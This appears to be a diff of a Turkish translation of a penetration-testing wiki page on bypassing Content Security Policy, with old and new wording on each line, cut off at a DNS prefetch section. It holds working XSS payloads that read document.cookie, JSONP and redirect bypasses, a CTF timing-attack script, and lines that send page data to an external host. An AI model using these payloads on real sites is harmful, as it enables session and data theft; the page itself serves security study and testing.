Belirli bir politika olan İçerik Güvenlik Politikası (CSP), JavaScript olaylarını kısıtlayabilir. Bununla birlikte, AngularJS, alternatif olarak özel olaylar tanıtır. Bir olay içinde, AngularJS, tarayıcıdaki olay nesnesine referans olan benzersiz bir `$event` nesnesi sağlar. Bu `$event` nesnesi, CSP'yi atlatmak için kullanılabilir. Özellikle, Chrome'da, `$event/event` nesnesi, olayın yürütme zincirinde yer alan bir nesne dizisini tutan `path` özniteliğine sahiptir ve bu dizide `window` nesnesi her zaman en sonda yer alır. Bu yapı, kum havuzu kaçış taktikleri için önemlidir. Belirli bir politika olan İçerik Güvenlik Politikası (CSP), JavaScript olaylarını kısıtlayabilir. Bununla birlikte, AngularJS, alternatif olarak özel olaylar tanıtır. Bir olay içinde, AngularJS, tarayıcıdaki olay nesnesine referans olan benzersiz bir `$event` nesnesi sağlar. Bu `$event` nesnesi, CSP'yi atlatmak için kullanılabilir. Özellikle, Chrome'da, `$event/event` nesnesi, olayın yürütme zincirinde yer alan bir nesne dizisini tutan `path` özniteliğine sahiptir ve bu dizide `window` nesnesi her zaman en sonda yer alır. Bu yapı, kum havuzu kaçış taktikleri için önemlidir.
Bu diziyi `orderBy` filtresine yönlendirerek, üzerinde yineleme yaparak (terminal eleman olan `window` nesnesini kullanarak) global bir işlevi (örneğin `alert()`) tetiklemek mümkündür. Aşağıdaki gösterilen kod parçacığı, bu süreci açıklar: Bu diziyi `orderBy` filtresine yönlendirerek, üzerinde dolaşarak (iterasyon yaparak), terminal elemanı ( `window` nesnesi) kullanarak `alert()` gibi global bir işlevi tetiklemek mümkündür. Aşağıdaki gösterilen kod parçacığı, bu süreci açıklar:
```xml ```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x <input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x ?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
``` ```
Bu parça, olayı tetiklemek için `ng-focus` direktifini kullanmayı, `path` dizisini manipüle etmek için `$event.path|orderBy`'i kullanmayı ve `alert()` fonksiyonunu çalıştırmak için `window` nesnesini kullanmayı vurgular, böylece `document.cookie`'yi ortaya çıkarır. Bu parça, olayı tetiklemek için `ng-focus` direktifini kullanmanın, `path` dizisini manipüle etmek için `$event.path|orderBy`'i kullanmanın ve `alert()` fonksiyonunu çalıştırmak için `window` nesnesini kullanmanın vurgusunu yapar, böylece `document.cookie`'yi ortaya çıkarır.
**Diğer Angular bypasslarını bulun** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) **Diğer Angular bypasslarını** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) **adresinde bulabilirsiniz**
### AngularJS ve izin verilen alan adı ### AngularJS ve izin verilen alan adı
``` ```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url; Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
``` ```
Bir Angular JS uygulamasında betik yükleme için alan adlarını beyaz listeye alan bir CSP politikası, geri çağrı işlevlerinin çağrılması ve belirli güvenlik açıklarına sahip sınıflar aracılığıyla atlatılabilir. Bu teknik hakkında daha fazla bilgi, bu [git deposunda](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22) bulunan detaylı kılavuzda bulunabilir. Bir Angular JS uygulamasında betik yükleme için alan adlarını beyaz listeye alan bir CSP politikası, geri çağrı işlevlerinin çağrılması ve belirli güvenlik açıklarına sahip sınıflar aracılığıyla atlatılabilir. Bu teknik hakkında daha fazla bilgiyi bu [git deposundaki](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22) detaylı kılavuzda bulabilirsiniz.
Çalışan yükler: Çalışan yükler:
```html ```html
@ -437,7 +436,7 @@ Diğer JSONP keyfi yürütme uç noktaları [**burada**](https://github.com/zigo
### Yönlendirme Aracılığıyla Atlatma ### Yönlendirme Aracılığıyla Atlatma
CSP yönlendirme tarafından karşılaşıldığında ne olur? Yönlendirme farklı bir kökene yol açarsa ve izin verilmemişse, yine başarısız olacaktır. CSP yönlendirme ile karşılaştığında ne olur? Yönlendirme farklı bir orijine yol açarsa ve izin verilmemişse, yine başarısız olacaktır.
Ancak, [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) içindeki açıklamaya göre, yönlendirme farklı bir yola yol açarsa, orijinal kısıtlamaları atlayabilir. Ancak, [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) içindeki açıklamaya göre, yönlendirme farklı bir yola yol açarsa, orijinal kısıtlamaları atlayabilir.
@ -459,11 +458,11 @@ Ancak, [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#sourc
``` ```
Eğer CSP `https://www.google.com/a/b/c/d` olarak ayarlanmışsa, yolun dikkate alındığından dolayı hem `/test` hem de `/a/test` betikleri CSP tarafından engellenecektir. Eğer CSP `https://www.google.com/a/b/c/d` olarak ayarlanmışsa, yolun dikkate alındığından dolayı hem `/test` hem de `/a/test` betikleri CSP tarafından engellenecektir.
Ancak, son `http://localhost:5555/301` **sunucu tarafında `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`'e yönlendirilecektir**. Yönlendirme olduğundan, **yol dikkate alınmaz**, ve **betik yüklenebilir**, böylece yol kısıtlaması atlatılmış olur. Ancak, son `http://localhost:5555/301` **sunucu tarafında `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`'e yönlendirilecektir**. Yönlendirme olduğundan, **yol dikkate alınmaz** ve **betik yüklenebilir**, böylece yol kısıtlaması atlatılmış olur.
Bu yönlendirme ile, yol tamamen belirtilmiş olsa bile, hala atlatılacaktır. Bu yönlendirme ile, yol tamamen belirtilmiş olsa bile, hala atlatılacaktır.
Bu nedenle, en iyi çözüm, web sitesinin açık yönlendirme ıklarının olmadığından ve CSP kurallarında istismar edilebilecek alan adlarının olmadığından emin olmaktır. Bu nedenle, en iyi çözüm, web sitesinin açık yönlendirme güvenlik açıklarına sahip olmadığından ve CSP kurallarında istismar edilebilecek alan adlarının olmadığından emin olmaktır.
### Dangling markup ile CSP'yi atlatın ### Dangling markup ile CSP'yi atlatın
@ -473,7 +472,7 @@ Bu nedenle, en iyi çözüm, web sitesinin açık yönlendirme açıklarının o
``` ```
default-src 'self' 'unsafe-inline'; img-src *; default-src 'self' 'unsafe-inline'; img-src *;
``` ```
`'unsafe-inline'` demek ki kodun içinde herhangi bir betiği çalıştırabilirsiniz (XSS kodu çalıştırabilir) ve `img-src *` demek ki web sayfasında herhangi bir kaynaktan herhangi bir resmi kullanabilirsiniz. `'unsafe-inline'` demek ki kodun içinde herhangi bir betik çalıştırabilirsiniz (XSS kodu çalıştırabilir) ve `img-src *` demek ki web sayfasında herhangi bir kaynaktan herhangi bir resmi kullanabilirsiniz.
Bu CSP'yi resimler aracılığıyla veri sızdırarak atlayabilirsiniz (bu durumda XSS, bir bot tarafından erişilebilen bir sayfada bir SQLi içeren bir CSRF'yi kötüye kullanır ve bayrağı bir resim aracılığıyla çıkarır): Bu CSP'yi resimler aracılığıyla veri sızdırarak atlayabilirsiniz (bu durumda XSS, bir bot tarafından erişilebilen bir sayfada bir SQLi içeren bir CSRF'yi kötüye kullanır ve bayrağı bir resim aracılığıyla çıkarır):
```javascript ```javascript
@ -481,7 +480,7 @@ Bu CSP'yi resimler aracılığıyla veri sızdırarak atlayabilirsiniz (bu durum
``` ```
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle) From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
Bu yapılandırmayı **bir resmin içine yerleştirilmiş JavaScript kodunu yüklemek** için de kötüye kullanabilirsiniz. Örneğin, sayfa Twitter'dan resim yükleme izni veriyorsa, **özel bir resim oluşturabilir**, bunu Twitter'a yükleyebilir ve "**unsafe-inline**"ı kötüye kullanarak bir JS kodunu (normal bir XSS olarak) **çalıştırabilirsiniz**. Bu kod resmi **yükleyecek**, içinden JS'yi **çıkaracak** ve **çalıştıracaktır**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/) Bu yapılandırmayı **bir resmin içine yerleştirilmiş javascript kodunu yüklemek** için de kötüye kullanabilirsiniz. Örneğin, sayfa Twitter'dan resim yükleme izni veriyorsa, **özel bir resim oluşturabilir**, bunu Twitter'a yükleyebilir ve "**unsafe-inline**" ı kötüye kullanarak bir JS kodunu (normal bir XSS olarak) **çalıştırabilirsiniz**. Bu JS kodu resmi **yükleyecek**, içinden JS'yi **çıkaracak** ve **çalıştıracak**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Hizmet İşçileriyle ### Hizmet İşçileriyle
@ -497,12 +496,12 @@ Hizmet işçilerinin **`importScripts`** fonksiyonu CSP tarafından sınırlı d
#### Chrome #### Chrome
Eğer sizin tarafınızdan gönderilen bir **parametre**, **politikanın deklarasyonu içine yapıştırılıyorsa**, o zaman politikayı **kullanışsız hale getirecek şekilde** değiştirebilirsiniz. Bu bypasslardan herhangi biriyle **script 'unsafe-inline'**'a izin verebilirsiniz: Eğer sizin tarafınızdan gönderilen bir **parametre**, politikanın **bildirisinin içine yapıştırılıyorsa**, o zaman politikayı **kullanışsız hale getiren** bir şekilde değiştirebilirsiniz. Bu bypasslardan herhangi biriyle **script 'unsafe-inline'**'a izin verebilirsiniz:
```bash ```bash
script-src-elem *; script-src-attr * script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline' script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
``` ```
Bu direktif, **mevcut script-src direktiflerini üzerine yazar**.\ Bu direktif **mevcut script-src direktiflerini üzerine yazar**.\
Bir örnek burada bulabilirsiniz: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E) Bir örnek burada bulabilirsiniz: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
#### Edge #### Edge
@ -512,10 +511,10 @@ Edge'de çok daha basittir. Eğer CSP'ye sadece bunu ekleyebilirseniz: **`;_`**
### img-src \*; XSS aracılığıyla (iframe) - Zaman saldırısı ### img-src \*; XSS aracılığıyla (iframe) - Zaman saldırısı
'unsafe-inline' direktifinin eksik olduğuna dikkat edin\ `'unsafe-inline'` direktifinin eksik olduğuna dikkat edin\
Bu sefer kurbanı, bir `<iframe` aracılığıyla **XSS** ile **kontrolünüzdeki** bir sayfayı **yüklemesini sağlayabilirsiniz**. Bu sefer kurbanı istediğiniz yerden bilgi çıkarmak için sayfaya erişmeye zorlayacaksınız (**CSRF**). Sayfanın içeriğine erişemezsiniz, ancak sayfanın yüklenmesi için gereken süreyi **kontrol edebilirseniz**, ihtiyacınız olan bilgileri çıkarabilirsiniz. Bu sefer kurbanı, `<iframe` ile **XSS** aracılığıyla **kontrolünüzdeki** bir sayfayı **yüklemesini sağlayabilirsiniz**. Bu sefer kurbanı, bilgi çıkarmak istediğiniz sayfaya erişmeye zorlayacaksınız (**CSRF**). Sayfanın içeriğine erişemezsiniz, ancak sayfanın yüklenmesi için gereken süreyi **kontrol edebilirseniz**, ihtiyacınız olan bilgileri çıkarabilirsiniz.
Bu sefer bir **bayrak** çıkarılacak, her doğru tahmin edilen bir **karakter** için SQLi aracılığıyla **yanıtın** uyku işlevinden dolayı **daha uzun sürmesi** sağlanacak. Sonra bayrağı çıkarabileceksiniz: Bu sefer bir **bayrak** çıkarılacak, her bir **karakter doğru tahmin edildiğinde** SQLi aracılığıyla **yanıtın** sleep fonksiyonundan dolayı **daha uzun sürmesi** nedeniyle bayrağı çıkarabileceksiniz:
```html ```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle --> <!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload <iframe name=f id=g></iframe> // The bot will load an URL with the payload
@ -579,11 +578,11 @@ run();
Bu saldırı, saldırganın kullanıcıyı tarayıcının yer işaretçisi üzerine bir bağlantıyı sürükleyip bırakmaya ikna ettiği bir sosyal mühendislik gerektirir. Bu yer işaretçisi, sürüklendiğinde veya tıklandığında **kötü amaçlı javascript** kodunu içerecektir ve mevcut web penceresinin bağlamında **CSP'yi atlayarak çerezler veya tokenlar gibi hassas bilgileri çalmaya izin verecektir**. Bu saldırı, saldırganın kullanıcıyı tarayıcının yer işaretçisi üzerine bir bağlantıyı sürükleyip bırakmaya ikna ettiği bir sosyal mühendislik gerektirir. Bu yer işaretçisi, sürüklendiğinde veya tıklandığında **kötü amaçlı javascript** kodunu içerecektir ve mevcut web penceresinin bağlamında **CSP'yi atlayarak çerezler veya tokenlar gibi hassas bilgileri çalmaya izin verecektir**.
Daha fazla bilgi için [**orijinal raporu buradan kontrol edin**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). Daha fazla bilgi için [**buradaki orijinal rapora bakın**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### CSP'yi Kısıtlayarak CSP Atlatma ### CSP kısıtlayarak CSP'nin atlatılması
Bu [**CTF çözümünde**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), bir izin verilen iframe içine daha kısıtlayıcı bir CSP enjekte edilerek CSP atlatılmış ve belirli bir JS dosyasının yüklenmesine izin verilmedi. Ardından, **prototype kirliliği** veya **dom clobbering** aracılığıyla farklı bir betiği kötüye kullanarak **keyfi bir betik yüklemeye izin verildi**. Bu [**CTF çözümünde**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), bir izin verilen iframe içine daha kısıtlayıcı bir CSP enjekte edilerek CSP atlatılmış ve belirli bir JS dosyasının yüklenmesine izin verilmemiştir, ardından **prototype kirliliği** veya **dom clobbering** aracılığıyla farklı bir betiğin **keyfi bir betik yüklenmesine izin verilmiştir**.
Bir Iframe'in CSP'sini **`csp`** özniteliği ile **kısıtlayabilirsiniz**: Bir Iframe'in CSP'sini **`csp`** özniteliği ile **kısıtlayabilirsiniz**:
@ -593,8 +592,8 @@ Bir Iframe'in CSP'sini **`csp`** özniteliği ile **kısıtlayabilirsiniz**:
``` ```
{% endcode %} {% endcode %}
[**Bu CTF çözümü**](https://github.com/aszx87410/ctf-writeups/issues/48) üzerinden, **HTML enjeksiyonu** aracılığıyla bir **CSP** daha fazla **kısıtlanarak** CSTI'yi önleyen bir betik devre dışı bırakıldı ve dolayısıyla **zafiyet sömürülebilir hale geldi.**\ [**Bu CTF çözümünde**](https://github.com/aszx87410/ctf-writeups/issues/48), **HTML enjeksiyonu** aracılığıyla **CSP** daha fazla **kısıtlanabilir** ve böylece CSTI'yi önleyen bir betik devre dışı bırakılarak **zafiyet sömürülebilir hale geldi.**\
CSP daha kısıtlayıcı hale getirilebilir, **HTML meta etiketleri** kullanılarak ve iç içe betikler devre dışı bırakılabilir, **giriş**lerini kaldırarak, bunların **nonce**'larını ve **belirli iç içe betikleri sha** aracılığıyla etkinleştirebilirsiniz: CSP daha kısıtlayıcı hale getirilebilir **HTML meta etiketleri** kullanılarak ve iç içe betikler devre dışı bırakılabilir **girişi kaldırarak** ve **nonce**'ları ve **sha** aracılığıyla belirli iç içe betikler etkinleştirilebilir:
```html ```html
<meta http-equiv="Content-Security-Policy" content="script-src 'self' <meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic' 'unsafe-eval' 'strict-dynamic'
@ -603,7 +602,7 @@ CSP daha kısıtlayıcı hale getirilebilir, **HTML meta etiketleri** kullanıla
``` ```
### İçerik-Güvenlik-Politikası-Rapor-Yalnızca ile JS veri sızdırma ### İçerik-Güvenlik-Politikası-Rapor-Yalnızca ile JS veri sızdırma
Eğer sunucunun yanıt vermesini sağlayabilirseniz **`Content-Security-Policy-Report-Only`** başlığıyla ve bir **değeri sizin kontrolünüzde** (belki bir CRLF nedeniyle), sunucunuzu işaret etmesini sağlayabilir ve istediğiniz **JS içeriğini** **`<script>`** ile sarmalarsanız ve muhtemelen `unsafe-inline`'ın CSP tarafından izin verilmediği için bu, bir CSP hatası tetikleyecek ve hassas bilgileri içeren betiğin bir kısmı `Content-Security-Policy-Report-Only` aracılığıyla sunucuya gönderilecektir. Eğer sunucunun yanıt vermesini sağlayabilirseniz **`Content-Security-Policy-Report-Only`** başlığıyla ve bir **değeri sizin kontrolünüzde** (belki bir CRLF nedeniyle), sunucunuzu işaret etmesini sağlayabilir ve eğer **sızdırmak istediğiniz JS içeriğini** **`<script>`** ile **sarmalarsanız** ve muhtemelen `unsafe-inline`'ın CSP tarafından izin verilmediği için, bu bir CSP hatası tetikleyecek ve duyarlı bilgileri içeren betiğin bir kısmı `Content-Security-Policy-Report-Only` tarafından sunucuya gönderilecektir.
Örnek için [**bu CTF çözümüne bakın**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes). Örnek için [**bu CTF çözümüne bakın**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
@ -613,19 +612,19 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
``` ```
### CSP ve Iframe ile Bilgi Sızdırma ### CSP ve Iframe ile Bilgi Sızdırma
* İzin verilen bir CSP'ye sahip URL'ye işaret eden bir `iframe` oluşturulur (bunu `https://example.redirect.com` olarak adlandıralım). * İzin verilen bir URL'ye (bunu `https://example.redirect.com` olarak adlandıralım) işaret eden bir `iframe` oluşturulur.
* Bu URL daha sonra, CSP tarafından **izin verilmeyen** gizli bir URL'ye yönlendirir (örneğin, `https://usersecret.example2.com`). * Bu URL daha sonra CSP tarafından **izin verilmeyen** gizli bir URL'ye yönlendirir (örneğin, `https://usersecret.example2.com`).
* `securitypolicyviolation` etkinliğini dinleyerek, `blockedURI` özelliğini yakalayarak, engellenen URI'nin alan adını ifşa edebilirsiniz ve böylece başlangıçtaki URL'nin yönlendiği gizli alan adını sızdırabilirsiniz. * `securitypolicyviolation` etkinliğini dinleyerek, `blockedURI` özelliği yakalanabilir. Bu özellik engellenen URI'nin alanını ortaya çıkararak, başlangıçtaki URL'nin yönlendiği gizli alanı sızdırır.
İlginç olan şudur ki, Chrome ve Firefox gibi tarayıcıların CSP'ye ilişkin iframe'leri işleme konusunda farklı davranışları vardır ve bu da tanımsız davranış nedeniyle hassas bilgilerin sızmasına neden olabilir. İlginç olan, Chrome ve Firefox gibi tarayıcıların CSP'ye ilişkin iframe'leri işleme konusunda farklı davranışları olmasıdır, bu da tanımsız davranış nedeniyle hassas bilgilerin sızmasına neden olabilir.
Başka bir teknik, CSP'yi kendisi üzerinden söz konusu gizli alt alan adını çıkarmak için sömürmeyi içerir. Bu yöntem, bir ikili arama algoritmasına dayanır ve CSP'yi belirli alanları kasıtlı olarak engelleyen veya izin veren belirli alanları içerecek şekilde ayarlamayı içerir. Örneğin, gizli alt alan adı bilinmeyen karakterlerden oluşuyorsa, CSP yönergesini değiştirerek bu alt alan adlarını engellemek veya izin vermek için farklı alt alan adlarını iteratif olarak test edebilirsiniz. Bu yöntemi kolaylaştırmak için CSP'nin nasıl yapılandırılabileceğini gösteren bir kod parçacığı aşağıda verilmiştir: Başka bir teknik, CSP'yi kendisi üzerinden kullanarak gizli alt alanı çıkarmayı içerir. Bu yöntem, bir ikili arama algoritmasına dayanır ve CSP'yi ayarlayarak belirli alanları kasıtlı olarak engelleyen veya izin veren alt alanları içerecek şekilde ayarlanır. Örneğin, gizli alt alanı bilinmeyen karakterlerden oluşuyorsa, CSP yönergesini değiştirerek bu alt alanları engellemek veya izin vermek için farklı alt alanları iteratif olarak test edebilirsiniz. Bu yöntemi kolaylaştırmak için CSP'nin nasıl yapılandırılabileceğini gösteren bir kod parçası aşağıda verilmiştir:
```markdown ```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
``` ```
CSP tarafından engellenen veya izin verilen istekleri izleyerek, gizli alt alanındaki olası karakterleri daraltabilir ve sonunda tam URL'yi ortaya çıkarabilirsiniz. CSP tarafından engellenen veya izin verilen istekleri izleyerek, gizli alt alanındaki olası karakterleri daraltarak sonunda tam URL'yi ortaya çıkarabilirsiniz.
Her iki yöntem de tarayıcılardaki CSP uygulamasının inceliklerinden ve davranışlarından yararlanır, görünüşte güvenli politikaların hassas bilgileri yanlışlıkla sızdırabileceğini gösterir. Her iki yöntem de tarayıcılardaki CSP uygulamasının ve davranışının inceliklerinden yararlanır ve görünüşte güvenli politikaların hassas bilgileri istemeden sızdırabileceğini gösterir.
Hile [**buradan**](https://ctftime.org/writeup/29310). Hile [**buradan**](https://ctftime.org/writeup/29310).
@ -640,22 +639,22 @@ Hacking'in heyecanına ve zorluklarına inen içeriklerle etkileşime girin
Gerçek zamanlı haberler ve içgörüler aracılığıyla hızlı tempolu hacking dünyasında güncel kalın Gerçek zamanlı haberler ve içgörüler aracılığıyla hızlı tempolu hacking dünyasında güncel kalın
**En Son Duyurular**\ **En Son Duyurular**\
Yeni ödül avcılıkları başlatılırken ve önemli platform güncellemeleri hakkında bilgi edinin Yeni ödül avı başlatmaları ve önemli platform güncellemeleri hakkında bilgilenin
**Bize** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **katılın ve bugün en iyi hackerlarla işbirliğine başlayın!** **Bize** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **katılın ve bugün en iyi hackerlarla işbirliğine başlayın!**
## CSP'yi Atlatmak İçin Güvensiz Teknolojiler ## CSP'yi Atlatmak İçin Güvensiz Teknolojiler
### PHP yanıt tamponımı ### PHP yanıt tamponu aşırı yükleme
PHP, varsayılan olarak yanıtı 4096 bayte kadar tamponlar. Bu nedenle, PHP bir uyarı gösteriyorsa, yeterli veri sağlayarak uyarıların içine veri yerleştirilirse, yanıt CSP başlığından önce gönderilecektir, bu da başlığın yoksayılmasına neden olacaktır.\ PHP'nin varsayılan olarak yanıtı 4096 bayte kadar tamponladığı bilinmektedir. Bu nedenle, PHP bir uyarı gösteriyorsa, yeterli veri sağlayarak uyarılar içine veri doldurarak yanıtın CSP başlığından önce gönderilmesine neden olur ve başlık görmezden gelinir.\
Sonra, tekniğin temeli, yanıt tamponunu uyarılarla doldurmaktır, böylece CSP başlığı gönderilmez. Sonra, tekniğin temeli, yanıt tamponunu uyarılarla doldurmaktır, böylece CSP başlığı gönderilmez.
Fikir [**bu yazıdan**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points). Fikir [**bu yazıdan**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
### Hata Sayfasını Yeniden Yazma ### Hata Sayfasını Yeniden Yazma
[**Bu yazıdan**](https://blog.ssrf.kr/69) göründüğü kadarıyla, bir CSP korumasını atlatmanın mümkün olduğu, bir hata sayfası yükleyerek (muhtemelen CSP olmadan) ve içeriğini yeniden yazarak yapılabildi. [**Bu yazıdan**](https://blog.ssrf.kr/69) göründüğü kadarıyla, bir hata sayfası yükleyerek (muhtemelen CSP olmadan) ve içeriğini yeniden yazarak CSP korumasını atlatmanın mümkün olduğu görünüyor.
```javascript ```javascript
a = window.open('/' + 'x'.repeat(4100)); a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() { setTimeout(function() {
@ -664,22 +663,22 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
``` ```
### SOME + 'self' + wordpress ### SOME + 'self' + wordpress
SOME, bir sayfanın bir uç noktasında bir XSS'i (veya çok sınırlı bir XSS'i) **istismar etmek** için kullanılan bir tekniktir ve **aynı kökten diğer uç noktaları istismar etmek** için kullanılır. Bu, savunmasız uç noktayı bir saldırgan sayfasından yükleyerek ve ardından saldırgan sayfasını istismar etmek istediğiniz aynı kökteki gerçek uç noktaya yenileyerek yapılır. Bu şekilde **savunmasız uç nokta**, **payload** içinde **`opener`** nesnesini kullanarak **istismar edilecek gerçek uç noktanın DOM'una erişebilir**. Daha fazla bilgi için şuraya bakın: SOME, bir sayfanın bir uç noktasındaki XSS'i (veya çok sınırlı XSS'i) **kötüye kullanarak**, **aynı kökten diğer uç noktaları kötüye kullanmak** için kullanılan bir tekniktir. Bu, savunmasız uç noktayı saldırgan sayfasından yükleyerek ve ardından saldırgan sayfayı kötüye kullanmak istediğiniz aynı kökteki gerçek uç noktaya yeniden yükleyerek yapılır. Bu şekilde **savunmasız uç nokta**, **payload** içinde **`opener`** nesnesini kullanarak **kötüye kullanmak istediğiniz gerçek uç noktanın DOM'una erişebilir**. Daha fazla bilgi için şuraya bakın:
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} {% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md) [some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
{% endcontent-ref %} {% endcontent-ref %}
Ayrıca, **wordpress**'un `/wp-json/wp/v2/users/1?_jsonp=data` yolunda **yansıtacak** bir **JSONP** uç noktası vardır ve bu uç nokta, yalnızca harf, rakam ve noktalarla sınırlı olan **veriyi** çıktıda gönderecektir. Ayrıca, **wordpress**'in `/wp-json/wp/v2/users/1?_jsonp=data` yolunda **yansıtacak** bir **JSONP** uç noktası bulunmaktadır (yalnızca harfler, rakamlar ve noktalarla sınırlı olarak).
Bir saldırgan, bu uç noktayı **WordPress'e karşı bir SOME saldırısı oluşturmak** ve bunu `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` içine **yerleştirmek** için kullanabilir, bu **script** 'self' tarafından **izin verildiği için** **yüklenir**. Ayrıca, ve çünkü WordPress yüklü olduğundan, bir saldırgan **SOME saldırısını** **CSP'yi atlatan** **savunmasız** **geri çağrı** uç noktası aracılığıyla kullanarak bir kullanıcıya daha fazla ayrıcalık vermek, yeni bir eklenti yüklemek...\ Bir saldırgan, bu uç noktayı **WordPress'e karşı bir SOME saldırısı oluşturmak** ve `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` içine **yerleştirmek** için kötüye kullanabilir, bu **script** 'self' tarafından **izin verildiği için yüklenecektir**. Ayrıca, ve WordPress yüklü olduğundan, bir saldırgan **SOME saldırısını** **CSP'yi atlatan** **savunmasız** **geri çağrı** uç noktası aracılığıyla kötüye kullanabilir ve bir kullanıcıya daha fazla ayrıcalık vermek, yeni bir eklenti yüklemek...\
Bu saldırıyı nasıl gerçekleştireceğiniz hakkında daha fazla bilgi için [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) Bu saldırıyı nasıl gerçekleştireceğiniz hakkında daha fazla bilgi için [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## CSP Sızdırma Atlatmaları ## CSP Exfiltration Bypasses
Eğer **harici sunucularla etkileşime izin verilmiyorsa** sıkı bir CSP varsa, bilgileri sızdırmak için her zaman yapabileceğiniz bazı şeyler vardır. Eğer **harici sunucularla etkileşime izin verilmiyorsa** sıkı bir CSP varsa, bilgileri dışarı sızdırmak için her zaman yapabileceğiniz bazı şeyler vardır.
### Konum ### Location
Sadece konumu güncelleyerek gizli bilgileri saldırganın sunucusuna gönderebilirsiniz: Sadece konumu güncelleyerek gizli bilgileri saldırganın sunucusuna gönderebilirsiniz:
```javascript ```javascript
@ -694,7 +693,7 @@ Bir meta etiketi enjekte ederek yönlendirebilirsiniz (bu sadece bir yönlendirm
``` ```
### DNS Prefetch ### DNS Prefetch
Sayfaları daha hızlı yüklemek için tarayıcılar, ana bilgisayar adlarını IP adreslerine önceden çözümleyecek ve daha sonra kullanmak üzere önbelleğe alacaklar.\ Sayfaları daha hızlı yüklemek için tarayıcılar, ana bilgisayar adlarını IP adreslerine önceden çözümleyecek ve daha sonra kullanmak üzere önbelleğe alacak.\
